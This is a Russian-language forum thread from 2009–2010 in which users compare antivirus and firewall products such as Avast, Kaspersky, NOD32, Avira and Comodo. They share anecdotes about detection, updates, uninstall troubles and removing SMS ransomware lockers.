Автор:	XAROS [ 06:03 11.07.2009 ]
Заголовок сообщения:
Вроде писАл уже, но повторюсь. Не первый год юзаю Avast! Home и не жалуюсь. Раз в год регистрируешь через почту, чем питается — непонятно, долбит что угодно. Один минус — без интернета со временем становится бесполезен ибо обновляется по 2 раза в сутки.

Автор:	MikeIS [ 07:15 11.07.2009 ]
Заголовок сообщения:
XAROS На сайте Аваста есть возможность скачать обновления для оффлайн-обновления. А питается (если о заработках программистов) коммерческими версиями.

Автор:	molniya [ 07:53 11.07.2009 ]
Заголовок сообщения:
кто-то тестил Zillya! Антивирус?

Автор:	Ankren [ 13:58 12.07.2009 ]
Заголовок сообщения:
U-Nick Пользуюсь фаером комодовским, проблема в том, что он версии 3.0.25.378, а чтобы обновить требует скачать cis, что с моим нетом займёт часов 10, у меня есть cis 3.9.xxx.xxx, если из него поставить только фаер, то обновы всё равно весят по 70 метров плюс оперативы он жрёт почему-то метров на 50 больше(хотя антивирь я не ставил). В итоге сижу на 3,0,25,378.

Автор:	U-Nick [ 21:39 12.07.2009 ]
Заголовок сообщения:
Ankren Мой Комод дорос уже до 3.10.102363.531. При сканировании винтов нашел ВСЕ "таблэтки" и даже древние ДОС-проги форматирования дискет. Да, жрет память (Private bytes = 62+16 метров; на винте уже 35 метров лежит); иногда, похоже, мешается некоторым простейшим игрухам — ну и что? Может я его через чур ... науськал? Но, по сравнению с Каспером (на работе стоял КАВ-6), вроде даже меньше мешается. Сейчас пакетов стенка+антивирь+... где только не вставляют. Даже когда-то любимый (в вер. 5) System Mechanic (v.7 pro) этим обзовелся.

Автор:	matveycin [ 20:00 26.08.2009 ]
Заголовок сообщения:
Kaspersky Internet Security 2010

Автор:	ZAV14 [ 21:20 19.10.2009 ]
Заголовок сообщения:
2 года юзаю Avast -бесплатно-понятно-систему не грузит-обнова 2раза в день.

Автор:	VladKS [ 00:24 20.10.2009 ]
Заголовок сообщения:
задрал AVG 8.5 бомбить keygen с торрентов , мож кто знает универсальное лекарство от этого безобразия?

Автор:	d3ot [ 06:29 20.10.2009 ]
Заголовок сообщения:

Автор:	lex83 [ 09:19 20.10.2009 ]
Заголовок сообщения:
Раньше пользовался Avast ща на NODе единственный вопрос, даже если говорить ему при обнаружении угрозы "ничего не делать" они все равно блокируют этот файл, можно этого как то избежать?

Автор:	d3ot [ 09:56 20.10.2009 ]
Заголовок сообщения:

Автор:	matveycin [ 15:34 22.10.2009 ]
Заголовок сообщения:
Один год бесплатной подписки на антивирус для вашего ПК в честь релиза Windows 7 в 19.00 посмотрим

Автор:

sid444 [ 17:02 22.10.2009 ]

Заголовок сообщения:

Цитата:
Один год бесплатной подписки на антивирус для вашего ПК в честь релиза Windows 7

Цитата:
1-Kapersky Internet Security 2010:
(предложение действительно для посетителей вечеринок, посвященных релизу Windows 7).

2- Panda Internet Security 2010:
(предложение действительно только для жителей США)

Обычная рекламная акция М$ и как всегда предлагают то что и даром не кому не надо.

Автор:	MBear [ 17:09 22.10.2009 ]
Заголовок сообщения:
sid444 да, вот так реклама, маздай еще не вышел, а к нему уже антивирус в нагрузку дают

Автор:	Togusa [ 20:43 22.10.2009 ]
Заголовок сообщения:
http://www.microsoft.com/security_essentials/?mkt=en-us , поставил себе на десктоп. Не тормозит, ключей не просит, сам обновляется, с чужих флешек вирусню вычищает. Большего мне и не нужно

Автор:	Dolianez [ 02:25 01.11.2009 ]
Заголовок сообщения:
Достаточно долгое время пользую AVAST PRO в паре с USB Disk Security provides v 5.1.0.15 — полет отличный. USB Disk Security ловит все автораны, аваст с некоторыми наверное дружит и не обращает внимания. А червей и троянов AVAST отлично изничтожает + щит,блокер скриптов — короче доволен. Упомянутый комплект оч. хорошо для слабэнькых машин. Довольно высокая защита при малой ресурсоемкости. Комп давно уже выше среднего уровня, позволяет без проблем пользовать KIS и тп, но привычка сильнее. Без обновлений оч.оч. быстро перестает реагировать на вирусы(выше уже писалось.Спасибо за подсказку об офобновлениях). Сам работает, проверяет что-то а толку — 0. ИМХО — новые виры возможно научились прописываться типа списка исключений или типа того. NOD тоже неплох. Но аваст большее кол-во виров знае,хотя тут спорный момент, я проверял неоднократно (несколько раз в месяц несколько месяцев подряд с последними базами каждый ) на архиве с вирами(оч.много) так вот аваст примерно на 1-2% больше находит, хотя было и наоборот аваст пропускал а нод находил. На рабочих компах AVAST PRO в паре с USB Disk Security , а в другом корпусе на рабочих NOD32 — и флешки тоже чистые.

Автор:	ChiChiKrus [ 18:05 04.11.2009 ]
Заголовок сообщения:
Вышел патч "а" для KIS/KAV 2010 . Для его установки требуется обновиться с ftp://dnl-test.kaspersky-labs.com/test/ap после чего перегрузить компьютер. В патч вошли следующие исправления: 79373: Perfomance rating can't be rated 79977: Switch User: logon under another User hangs 79700: qscan: slow qscan with avp.exe high cpu usage 79576: Не работает пропуск детектирующихся файлов по цифровой подписи 76683: Не устанавливаются обновления для Firefox

Автор:	London [ 13:56 05.11.2009 ]
Заголовок сообщения:
для меня наиболее оптимальный и подходящий антивирус — это Panda Itnernet Security 2010, главное — лицензионный, обновляется при каждом выходе в инет, не орет, но постоянно докладывается о своей работе

Автор:	XAROS [ 15:49 07.11.2009 ]
Заголовок сообщения:
Avast!+Comodo Firewall Pro — для себя лучше вариантов не нашёл. Не один год дружим и всё нормуль, эта команда долбит и перемалывает всю шалупонь что на безопасность деда покушается. Альтернативу допускаю только NOD32 с встроенным файрволлом.

Автор:	MihEI [ 19:38 09.11.2009 ]
Заголовок сообщения:
Пользую Каспера 2010. Пробовал NOD32, но удалил после выявления его особенности отношения к ряду упаковщиков вроде Themida — если Каспер умеет распаковывать файлы защищённые им на лету, то NOD предпочитает помечать их как заражённые и тут же затирать.

Автор:	Asmodeus [ 19:58 09.11.2009 ]
Заголовок сообщения:
Для Windows 7 64bit пользую Avira + PC Tools Firewall Plus. Пока проблем не возникало. Последний особенно порадовал дружественным и интуитивно понятным интерфейсом.

Автор:	U-Nick [ 20:19 09.11.2009 ]
Заголовок сообщения:
XAROS А почему ж не комплектный Comodo Internet Security? Меня он пока не поводил

Автор:	User24.01 [ 21:13 09.11.2009 ]
Заголовок сообщения:
А мне очень нравится "интерактивный режим" в ESET SS. Хочу быть в курсе того, что у меня в и-нет лазит. А тут каждого любителя заняться этим можно проконтролировать. А кому туда лезть не стоит — отбить охоту Не знаю, может в других файрволах такое тоже есть (опыт использования этих штук у меня не очень большой), но тут все очень удобно и наглядно.

Автор:	Hell-Fosa [ 03:48 10.11.2009 ]
Заголовок сообщения:
Avira Antivir Premium Security Suite v9. Даже не задумываюсь о переходе, имхо почти предел мечтаний Не надоедает, быстрая, мощная, ловит все что заикнется, за год тьфу тьфу ни одного бага

Автор:	Alex_good [ 06:15 10.11.2009 ]
Заголовок сообщения:
U-Nick Сколько помню, в комплектный CIS входит ещё и антивирус. А у него таааакие обновления... Лучше уж Аваст

Автор:	U-Nick [ 18:08 10.11.2009 ]
Заголовок сообщения:
Alex_good А у него таааакие обновления... Я тоже так думал, но оказалось, что ТОГДА он обновлял ВЕСЬ пакет на свежий. Хотя ... то, что не спросил разрешения на закачку 100 метров — А так, ежедневно, как все — помаленьку. АВАСТ уж больно боязливый — как девочка Да и лечить толком не умеет. Писали, что лучший лекарь — Др.Веб.

Автор:	Tommy [ 00:10 11.11.2009 ]
Заголовок сообщения:
Лучший вариант для меня avast вместе с commodo firewall.А вообще 100% гарантии никто не даст.Вот друг у меня есть,постоянно комп у него в вирусах,принес мне пару раз вирусы. Первый раз стоял касперский,второй раз avast.Поймал оба раза вирусы.

Автор:	ChiChiKrus [ 20:08 10.12.2009 ]
Заголовок сообщения:
Тут прям беда! Стоит кис 2010 9.0.0.736(а) 2 года использую Plan (программа для игры в nfs u2 по интернету) ,так вот 3 день он меня долбит ,что в этом файле троян сидит! Хотя я то знаю что там им и не пахнет)) В исключения не добавляется! Нажимаешь -восстановить ,буквально 2 секунды и опять найден троян! Как быть ??? Проверьте своими антивирусниками вот этот файл(кисом 2010!)--- http://depositfiles.com/files/76idn2uvn Цитата: Цитата:Каспера —> Настройка —> Угрозы и исключения Спасибо !!! Теперь не проверяет этот файл))

Автор:	Lucky1978 [ 20:55 10.12.2009 ]
Заголовок сообщения:
Так добавь его в исключения через ПКМ на значке Каспера —> Настройка —> Угрозы и исключения (там разберешься). И отправь им на newvirus@kaspersky.com в архиве с паролем и укажи в письме пароль и опиши ситуацию, они это поправят в следующих базах.

Автор:	ChiChiKrus [ 19:21 15.12.2009 ]
Заголовок сообщения:
А что за патч ( а.b) ?????? какие изменения в нем?

Автор:

sergey2400 [ 00:01 16.12.2009 ]

Заголовок сообщения:

ChiChiKrus

Цитата:
А что за патч ( а.b) ??????

Обычный патч, просто так назвали. У меня на дачном ПК тоже самое.

XAROS, Tommy

Цитата:
Лучший вариант для меня avast

Да упаси бог этим авастом пользоваться... :abuse:

Я больше года его клиентам ставил, как бесплатный, всё нормально было до определённого момента. Потом как понесли ПК завирусованные до такой степени, что ОС уже не загружалась нормально. Оказалось, что вирусы напрямую, как сквозь сито, летят через этот антивирус. Порядка 50% заразы он не видит. :mad:

Уже несколько месяцев ставлю только лицензионный KAV2010, и проблем люди не знают. :up:

Автор:	Grendel [ 00:28 16.12.2009 ]
Заголовок сообщения:
Цитата: Да упаси бог этим авастом пользоваться. Ага а еще жизнь это заразная болезнь передающаяся половым путем, давайте не будем свой эмпирический опыт безусловно важный в какой то (небольшой) степени, распространять и обобщать.. И делать такие смелые заявление про 50 % пропущенных вирусов, я был вежлив хотя хотелось сказать жосче. Да безграмотным юзверям может и нужен каспер с его жесткой политикой, но не надо обобщать!!! http://www.admin-club.net/index/0-13

Автор:	sergey2400 [ 13:07 17.12.2009 ]
Заголовок сообщения:
Hrenogon Цитата: Да безграмотным юзверям может и нужен каспер с его жесткой политикой Да, обычным пользователям, именно такой и нужен, причём настроенный полностью в автоматическом режиме лечения-удаления. Они ведь только кнопочки нажимать умеют, не разбираясь особо в тонкостях. Согласен, у Касперского довольно много ложных срабатываний, но лучше пусть он 10 раз сработает ложно, чем 1 раз не сработает вовсе. Этой одной не сработки может хватить, чтобы обрушить всю информацию на HDD. Кстати, Аваст пропускает такую ерунду, как блокировку ПК с просьбой отправить SMS на определённый номер. С такой проблемой обращается каждый второй пользователь это бесплатного Аваста, Вот и сделайте выводы о его эффективности. Плюс ко всему, он мало что лечит, предпочетая удалять файлы навсегда. У Касперского с этим более-менее нормально.

Автор:	Grendel [ 13:21 17.12.2009 ]
Заголовок сообщения:
Ерунду с смс и каспер пропускал какое то время первым это смог лечить доктор web cureit , а не каспер , что касаемо лечения avast нужно создавать базу данных vdrb и все прекрасно будет лечить . И наконец бесплатная версия перестает обновлять базы без регистрации через 60 дней Вы регистрировали версию , что ставили клиентам ? Цитата: Вот и сделайте выводы о его эффективности. Я свои выводы давно сделал 2 года на нем сижу , а вам сюда http://forum.nvworld.ru/viewtopic.php?f=1&t=20239

Автор:	MikeIS [ 13:32 17.12.2009 ]
Заголовок сообщения:
sergey2400 У меня на одной фирме лицензионный КИС убрал сам две машины, чем то по нему долбанули видимо, он занял все свободное место на системном диске (там жутко расширились папки каспера с каким то мусором, особенно папка каспера в профиле юзера, причем и не удалить) и побил много системных файлов, одну машину поднять смог, вторую пришлось переставлять. Аваста обычным юзверям ставлю на пару с комодом, пока проблем не было, один раз правда тоже что-то на него словили в конце ноября, аваст стал ругаться на все системные файлы, переставил, больше не жаловались. Еще в конце ноября КИС 2009 (лицензия, обновления на момент моего прихода были последние) на ХП пропустил рекламку гей сайта и херню под названием get accelerator, причем последнему даже позволил влезть в винлогон. Хотя этот get accelerator толком не схавитл ни антивир ни смартсекьюрити от нода, потрепал он меня изрядно.

Автор:	ChiChiKrus [ 13:48 17.12.2009 ]
Заголовок сообщения:
Бесплатные антивири это в целом не нормально для системы .. Зачем разрабатывать и не срубать определённую сумму денег? Касперского прям загнобили.. Сколько он уже лел на рынке антивирусных программ?? То что сейчас входит в топ 10 даже в проекте не было ! И за эти годы В любом случае какой то навык в поиске нечисти есть! Тем более не понятно почему говорят что он тормозит систему(Из за этого и уходят с него) Я с 5 версии на нём ( 5 6 7 версии стояли на старом компе атлон 2000+ 512 оперативки ) 9 ,10 на новом (в проф) Нет тормозов ! , не запинается система, когда запускается неизвестная или новая программа — я поставил определять статус за 5 секунд (но это только при первом открытии )

Автор:	Grendel [ 13:57 17.12.2009 ]
Заголовок сообщения:
Цитата: Бесплатные антивири это в целом не нормально для системы .. Зачем разрабатывать и не срубать определённую сумму денег? Там 2 версии проф версия с расширенными возможностями платная. Может расскажите еще про бесплатные операционные системы , открытый офис , бесплатный антивирь от микрософт ,бесплатные варианты файрволов — может не будем нести ахинею и разводить холивар на пустом месте на вкус и цвет все фломастеры разные

Автор:	alik_masha [ 14:06 17.12.2009 ]
Заголовок сообщения:
ALL Подскажите,чем удалить ESET.В программах его нету,на диске папка не удаляется и в скрытых значках весит. СПС.

Автор:

commandor2006 [ 15:48 17.12.2009 ]

Заголовок сообщения:

Hrenogon
Чушь то не неси. :abuse:

Тебе ж сказали, аваст — дюрьмо, и я полностью с этим соглашусь.
Дюрьма пропускает дофига, по крайне мере тот, что домашний бесплатный. Пробовал я им пользоваться, схватил вирусняк жестокий, пришлось ось переставлять заново, плюнул, и купил брата касперыча и вот уже второй год проблем не знаю.

Цитата:
бесплатная версия перестает обновлять базы без регистрации через 60 дней

Опять чушь несёшь. :mad:

Там ключь на год с лишним даётся, о каких ты 60 днях вообще тут ляля травишь?
Всё с тобой ясно, спэцыалыст. :lol:

alik_masha

Цитата:
Подскажите,чем удалить ESET

Можно через установку-удаление, только его сначала выгрузить надо.
А можно ещё раз запустить установку и деинсталлировать.
Если ты такого не делал, а грохнул, не понятно каким образом, то теперь сам ручками его из реестра выскребай. :gigi:

Автор:	ArtLonger [ 20:10 17.12.2009 ]
Заголовок сообщения:
commandor2006 Предупреждение за переход на личности.

Автор:	sergey2400 [ 23:02 17.12.2009 ]
Заголовок сообщения:
Hrenogon Цитата: Вы регистрировали версию , что ставили клиентам ? Естестственно. А как бы я ключь получил? MikeIS Тогда на чистоту, если уж Касперский так плох, то почему его даже на банкоматы начали ставить, а не аваст, или ещё какой-нибудь? commandor2006 Да, спор спором, но если даже Вы правы, это не повод переходить на личности... Спокойнее.

Автор:	U-Nick [ 15:25 18.12.2009 ]
Заголовок сообщения:
alik_masha Подобное у меня произошло с 5ым ДрВебом — не желал удаляться, а меня — Хозяина компа! — не допускал к диску, как будто я Гость. Повторная установка и тут же деинсталяция не помогли. Копание в реестре и юзание всяких умных пр0г — тоже. В итоге всего практически потерял винт: на стенде(!) — ОК, дома — никак. Последний шанс — попробовать его на старой маме с 965-ым чипом. Так что будь осторожен и обязательно сделай бэкап полезных данных с винта.

Автор:	MikeIS [ 16:47 18.12.2009 ]
Заголовок сообщения:
sergey2400 Я пока на банкоматах/терминалах встречал нода да веба, ежели там не линь стояла. Еще встречаюсь часто с проблемой юзанья домашними пользователями покупных антивирей, они все время забывают их продлить (даже в том случае, если им антивир дает провайдер), как правило результат печальный. Статистики по тому где и какими антивирями пользуются не веду, но за последний год я очень редко встречал компы с каспером, в основном веб и нод, капитально упавшие машины пока встречал только под каспером P.S. ИМХО каспер счас ведет какую-то политику по распространению своей продукции, я работаю в госучереждении, как правило покупка компов и ПО управляется нами, но иногда нам указывают, что и где нужно купить, а вот КИС2009 походу нам просто вручили, что с ним делать я не знаю, меня вполне устраивает нод и очень хочется его продлить (но вот дадут ли), есть еще одна сетка, так сказать "соседняя", сейчас тоже используют нод, раньше был веб, я им каспера предложил, халява же ,но как-то эта идея им не понравилась.

Автор:

sergey2400 [ 01:13 19.12.2009 ]

Заголовок сообщения:

MikeIS

Цитата:
Я пока на банкоматах/терминалах встречал нода да веба, ежели там не линь стояла.

У нас по городу в основном касперский, это мне знакомые ребята сказали, которые банкоматы обслуживают.

Что касаемо DrWEB то отличный антивирус, ничего сказать не могу.
А вот по ноду нарекания были, пропускал вирус с просьбой отправить SMS на номер. Хотя, у меня на сервере в мастерской как раз NOD32 и стоит, и только потому, что он единственный серверный вариант, который с левым ключем работает и обновляется, каспера "халявного" я, к сожалению, на server 2003 не нашел... Да мне в принципе особая защита на сервере и не нужна, по инету я с него не лазию и ничего со стороны туда не загружаю, а как простой фильтр для поддержания душевного спокойствия, NOD очень даже кстати. :up:

Цитата:
за последний год я очень редко встречал компы с каспером, в основном веб и нод

Потому, что на них "халявные" ключи проще найти, чем на каспеского, а народ "халяву" любит

. У касперского ключи очень быстро БАНятся.

Цитата:
капитально упавшие машины пока встречал только под каспером

Что касаемо меня, то я его покупать не успеваю, разлетаются влёт, и ни у кого ещё "машина" с ним не "Упала"

Автор:	MikeIS [ 18:03 07.01.2010 ]
Заголовок сообщения:
Какие есть бесплатные антивири для Windows 7, а то ноуты стали проявляться с новой ОС, но покупать каспера/нортона/нода неохотно. Хотелось бы еще, чтобы русский интерфейс был, мне лично все равно какой интерфейс, а вот людям тяжко без русского.

Автор:	matveycin [ 18:50 07.01.2010 ]
Заголовок сообщения:
MikeIS от мелкомякгих, теперь и на русском

Автор:	Alex_good [ 19:20 07.01.2010 ]
Заголовок сообщения:
MikeIS Щас на W7 работает CIS. Работает. Следов заразы вроде не видать...

Автор:	ArtLonger [ 20:45 07.01.2010 ]
Заголовок сообщения:
MikeIS Цитата: Какие есть бесплатные антивири для Windows 7 Avira

Автор:	MBear [ 00:39 08.01.2010 ]
Заголовок сообщения:
ArtLonger Цитата: Avira было время, что я подумал что оно рулит. Наставил юзерам, так как достали с касперским и его ключами, все умерло (заразилось) через 3-4 месяца. С касперским и забаненым ключом жило. matveycin Microsoft Security Essentials а оно на левой Windows работает?

Автор:	matveycin [ 01:10 08.01.2010 ]
Заголовок сообщения:
MBear нет Теперь MSE могут использовать все желающие (напомню – речь идет о домашних пользователях, использующих легальное ПО Microsoft)

Автор:	MBear [ 01:50 08.01.2010 ]
Заголовок сообщения:
matveycin угу, ну хоть на большинство ноутов пойдет. нужно будет попробовать.

Автор:	U-Nick [ 18:21 08.01.2010 ]
Заголовок сообщения:
MBear А Комод на 7-ке не пробовал? Вчера я свой до 3.13 обновил. 130 метров насосал!

Автор:	MBear [ 20:25 08.01.2010 ]
Заголовок сообщения:
U-Nick не доводилось, попробую

Автор:	shylga76 [ 21:28 08.01.2010 ]
Заголовок сообщения:
Цитата: было время, что я подумал что оно рулит. Наставил юзерам, так как достали с касперским и его ключами, все умерло (заразилось) через 3-4 месяца. С касперским и забаненым ключом жило. В свое время у меня на xp стояла avira больше года и ничего не пропустила. Не нужно лазить где попало и все будет нормально. К ней если ещё Outpost free добавить то вобще цены не будет.

Автор:	MBear [ 22:09 08.01.2010 ]
Заголовок сообщения:
shylga76 я юзерам не прикажу куда им ходит, а еще и outpost сверху, так это будет сильно сложно для них.

Автор:	Alex_good [ 09:57 09.01.2010 ]
Заголовок сообщения:
В любом случае, любой антивирус пропустит всё, что угодно, если юзер сам разрешит. А Комод — он вопросы задаёт По своему ComodoInternetSecurity замечаю. Так что для юзеров нужно то, что спрашивает минимум.

Автор:	MBear [ 12:43 09.01.2010 ]
Заголовок сообщения:
Alex_good Цитата: Так что для юзеров нужно то, что спрашивает минимум. настроенное на "удалять все подозрительное" и с паролем на отключение.

Автор:	Alex_good [ 21:05 09.01.2010 ]
Заголовок сообщения:
MBear Комодский антивирус без Defence+ — деньги на ветер А настроить проактивку комодскую, чтобы она вопросов больше не задавала и защищала... непросто.

Автор:	MBear [ 23:23 09.01.2010 ]
Заголовок сообщения:
Alex_good Но что-то же нужно ставить и желательно халявное, так как юзер жадный пошел.

Автор:	U-Nick [ 14:43 10.01.2010 ]
Заголовок сообщения:
Alex_good Что за Defence+ ? А настроить проактивку комодскую, чтобы она вопросов больше не задавала и защищала... непросто. Не поделитесь опытом?

Автор:	MikeIS [ 19:21 10.01.2010 ]
Заголовок сообщения:
U-Nick Аля UAC из Vista/7, весчь в теории хорошая, но я так с ней и не совладал, пока отрублена, работает только фаерволл. Цитата: Проактивная защита включает в себя HIPS (Host Intrusion Prevention Systems) — система отражения локальных угроз. Задачей HIPS является контроль за работой приложений и блокировка потенциально опасных операций по заданным критериям.

Автор:	Alex_good [ 19:56 10.01.2010 ]
Заголовок сообщения:
U-Nick Defence+ так в английском Комоде 3 называется проактивная защита. В русском переводе это просто Защита. А насчёт опыта... Для себя мне проще оказалось отвечать на вопросы, чем составлять правила, чтобы этих вопросов не было. Так сказать, опыт скорее отрицательный..

Автор:	U-Nick [ 23:39 10.01.2010 ]
Заголовок сообщения:
А вот как в Комоде взять свежайшую версию и такие же базы с другого диска, а не из сети? Дело в том, что у меня неожиданно заглючил основной рабочий винт с ХР+СП3, на который буквально вчера засосалось метров 200 обновлений. Сейчас работаю с прежней ОСи и с другого винта, а там и версия Комода и его базы более ранние. Просто копировать не дает, повторять сетевую загрузку как-то не больно хочется, ведь месяц только начался, а лимит не резиновый.

Автор:	Walter S. Farrell [ 23:26 11.01.2010 ]
Заголовок сообщения:
MBear >было время, что я подумал что оно рулит. Наставил юзерам, так как достали с касперским и его ключами, все умерло (заразилось) через 3-4 месяца. Avira AntiVir плохо дружит с тупыми юзверями. Она всегда спрашивает, что делать с вирусом, а эти юзвери ни черта не понимают и просто закрывают диалоговое окно, что равносильно игнорированию угрозы. Последствия очевидны. NOD32 и Каспер просто грохают вирус по собственному усмотрению, не особо интересуясь мнением юзверя. Впрочем, это даже хорошо. Если тупая голова, то расплачивается карман. Ещё раз позовут и денег за выезд отлистают

Автор:

MBear [ 02:21 12.01.2010 ]

Заголовок сообщения:

Walter S. Farrell

Цитата:
Она всегда спрашивает, что делать с вирусом, а эти юзвери ни черта не понимают и просто закрывают диалоговое окно, что равносильно игнорированию угрозы.

Eсть круче.
Пришло тело с ноутом, говорит вирусы, я попросил показать что там не так.
Включает, загружается маздай и выскакивает окно авиры о вирусах...
— Ну вот, и так постоянно. Я жму "игнорэ" (нажимает при мне), перезагружаю и опять это окно...

Цитата:
Впрочем, это даже хорошо. Если тупая голова, то расплачивается карман. Ещё раз позовут и денег за выезд отлистают

Есть вторая сторона — я "плохо сделал/настроил".

Автор:	Walter S. Farrell [ 02:51 12.01.2010 ]
Заголовок сообщения:
>Есть вторая сторона — я "плохо сделал/настроил" Не катит. Контраргумент: когда уходил, никаких вирусов не было. Софтина сама обновляется ежедневно, так что если что и пробралось, то по вашей же вине. Юзверь всегда неправ

Автор:

matveycin [ 05:01 12.01.2010 ]

Заголовок сообщения:

MBear писал(а):
— Ну вот, и так постоянно. Я жму "игнорэ" (нажимает при мне), перезагружаю и опять это окно...

Walter S. Farrell писал(а):
Юзверь всегда неправ

только прав, когда оплачивает услугу :gigi:

Автор:	MBear [ 13:08 12.01.2010 ]
Заголовок сообщения:
Walter S. Farrell Цитата: Софтина сама обновляется ежедневно, так что если что и пробралось, то по вашей же вине. И это нужно объяснить юзеру, который жал "игнор" У юзера все просто, у него нет вирусов или есть вирусы. Если есть, тогда он придет раз, два, три... а потом найдет кого-то другого, кто ему поставит ломаного каспера. Или просто ничего не поставит = нет вирусов. И второй вариант, вирусов нет, конечно он не так часто будет обращаться, но будет работать реклама.

Автор:	swizal [ 19:55 12.01.2010 ]
Заголовок сообщения:
U-Nick писал(а): А вот как в Комоде взять свежайшую версию и такие же базы с другого диска, а не из сети? переписать папку scanners из ///COMODO/CIS

Автор:	U-Nick [ 21:08 12.01.2010 ]
Заголовок сообщения:
swizal Дык я ж писал: не дает! Даже выгруженный. Видать что-то от него в памяти торчит, но не видно. С ДрВебом было все не просто, а очень просто

Автор:	swizal [ 21:41 12.01.2010 ]
Заголовок сообщения:
Дык глупо было , что бы просто так давал переписывать свои библиотеки. Из безопасного режима пробовали? Процессы так же из обычного режима просто так не выгрузить, а висеть-висят, енто да ))).

Автор:	U-Nick [ 13:28 13.01.2010 ]
Заголовок сообщения:
swizal Загрузился с третьего диска уже в 7-ке (7100), срисовал весь каталог СОМОДО, а меющийся переименовал. Зашел — сработало, но ругается и запуститься толком не может, хотя версия обновилась до 3.13. С трудом уговорил его проверить обновления — загрузил 6 метров и хочет перезагрузку... Щаз ребутнусь и посмотрю...

Автор:	Ankren [ 15:09 13.01.2010 ]
Заголовок сообщения:
)) Comod))) Железобетонно, надежно, но апдейт неудобен, антивирус мне не нравится, фаервол круть, но назойлив и настройка жуть, но оно того стоит... Dr.Web, долго пользовался, простой как тряпка, но злой как черт, да и иногда как черт (не)весело издевается над пользователем(курьезов много, гугл вам в руки)это мнение)(+ кряки, кейгены и прочее не считает вирусами по умолчанию, только за дело гоняет) Kaspersky качественный, добротный, стреляет все мало-мальски опасное, пропускает только ядерные заряды, но по мне излишне строгий(к пользователю и перегруженный.)(+ кряки, кейгены и прочее не считает вирусами по умолчанию, только за дело гоняет) Nod 32 кому-то нравится, раньше и я пользовался, теперь не стал бы, может зря, может нет, помню как он ловил вирусы, брррр, все что можно поймает, а что нужно даж не заметит, но эт давнооо было Сам пользую майкрософтовскую троянскую программу весьма хороша, бесплатна хорошая альтернатива бесплатным антивирусам( да и некоторым платным ) да, не смотря на грозные заявления, не устанавлиается он ток на репаки(и то, видел такое чудо), а на любую другую Винду, включая спираченную, Без Праблем. (как не странно тож спокойно относится к разного рода крякам)

Автор:	U-Nick [ 16:39 13.01.2010 ]
Заголовок сообщения:
Вобщем пришлось-таки перезагрузить все 100 метров. Это, пожалуй, единственный недостаток Комода по сравнению в ДрВебом. Есть возможность поставить КАВ + КИС-10 лицензионные... Ст0ит менять?

Автор:	MBear [ 18:08 13.01.2010 ]
Заголовок сообщения:
U-Nick Юзаю KIS начиная с 6той версии и никуда переходить не собираюсь. Правда обновления тем где-то метр в день, если качать раз в неделю тогда будет меньше. трафик зло, берите анлим Цитата: КАВ + КИС-10 в KIS есть все что в KAV. KAV — антивирус KIS — антивирус + файрвол.

Автор:	matveycin [ 00:02 14.01.2010 ]
Заголовок сообщения:
нуждающимся — в помощь Сервис деактивации вымогателей-блокеров

Автор:	MBear [ 02:08 14.01.2010 ]
Заголовок сообщения:
matveycin недавно принесли ноут с окном, что-то типа "вы посмотрели час бесплатного порно, и по условиям вы теперь должны оплатить следующие 10 часов бла-бла-бла" что в этом духе. и нужно отправить СМС, тогда дадут код. Человек говорит что порно не смотрел, ну ладно... Наверное больше рассчитано на офисных работников, которые не захотят светить подобное окно. снял хард, подключил к себе. убил касперским пару вирусов. Включаю, окно есть но изменилось немного, уже с артефактами. Погуглил на это номер телефона, и убил через командную строку пару процессов. Окно ушло, почистил автозагрузку, все заработало. Через неделю другой человек с таким же окном, но он с другой ЭВМ нагуглил код и ввел его. Результат окно ушло, вместе с ним вся сеть. Сеть я поднимал очень долго, что я только не делал. Что помогло даже не скажу, так как делал много всего и одновременно. Сеть поднял, оказалось что умер IE, накатил более новый — заработало. Но с первым я парился намного меньше, конечно юзер код брал не у касперских, но все же имхо лучше ничего в эти окна не вводить.

Автор:	matveycin [ 02:32 14.01.2010 ]
Заголовок сообщения:
MBear хорошая методика борьбы сам не пользовался сервисом, но был опыт с двумя подобными машинами — лечилось cureIT

Автор:	Zhiza [ 21:38 14.01.2010 ]
Заголовок сообщения:
U-Nick Пользовался сначала пиратским КАВ6, потом пересел на связку Аваст + Комодо файрволл(где-то год), сейчас купил-таки КИС 2010. Очень доволен. Не сравнить с пиратками и бесплатными прогами. Вопросов лишних не задает, есть все, что мне нужно. Антивир, файрволл, анти-баннер. Черный и белый листы анти-баннера можно взять с форума. Форум, кстати, огромный.

Автор:	U-Nick [ 23:17 14.01.2010 ]
Заголовок сообщения:
Zhiza КАВ-6 у меня на работе стоял и систему заметно напрягал — файлов ок. 500 тыщ, а ЦП — Целик-1000. Да еще и корпоративный был, т.е. неподконтрольный. Ныне дочка купила КИС-10 на 2 компа, так что ключик будет вполне легальный. А сам КИС-10 есть на ДВД журнальных. ----- Я уж п0стил: реклама Каспера есть даже в Тибете. Если интересно, могу копию дочкиной фотки с сей рекламой на заднем плане показать.

Автор:	Zhiza [ 02:24 15.01.2010 ]
Заголовок сообщения:
U-Nick Это не реклама. Просто сам недавно впервые КУПИЛ ОС и Антивир

Автор:	RUSLAN_WM [ 11:49 15.01.2010 ]
Заголовок сообщения:
Проверьте у кого стоит KIS 7,8,9 — сейчас при входе на сайт www.thg.ru Kaspersky определяет фишинг — атаку(http://gold-smerch.cn/img1/index.php) Или это только у меня так

Автор:	Zhiza [ 12:12 15.01.2010 ]
Заголовок сообщения:
Аваст 4.8 Home Edition с последними базами тоже определяет. Вчера, кстати на форум thg не мог зайти по той же причине. Сегодня — на сам сайт. У них на форуме, кстати, вчера была такая тема(о том, что на форуме вирус).

Автор:	matveycin [ 12:36 15.01.2010 ]
Заголовок сообщения:
RUSLAN_WM та же фигня на kis 9.0.0.736

Автор:	Zhiza [ 04:48 16.01.2010 ]
Заголовок сообщения:
АУ!! Разве только у нас троих проблемы со входом на THG.RU? Может, проблемы у нас самих?

Автор:	Ankren [ 05:25 16.01.2010 ]
Заголовок сообщения:
Zhiza писал(а): Разве только у нас троих проблемы со входом на THG.RU? Может, проблемы у нас самих? ХЗ, есть там какой-то вирь, но мой антивирь не включает в себя браузерную проверку, NoScript в Фаерфоксе один фиг ничо не пускает

Автор:	MBear [ 13:36 16.01.2010 ]
Заголовок сообщения:
Zhiza Цитата: Разве только у нас троих проблемы со входом на THG.RU? Может, проблемы у нас самих? проверил на ЭВМ с KIS2010 — все нормально.

Автор:	Dmitry123 [ 13:48 16.01.2010 ]
Заголовок сообщения:
У меня Каспер 2009 тоже разок блокировал вход на русский Томс ссылаясь на вирус. В прошлом году вообще при заходе на русский Томс перекидовало на Однотр... .ру, вернулось в норму само сабой через день-два, вирусни на компе нет.

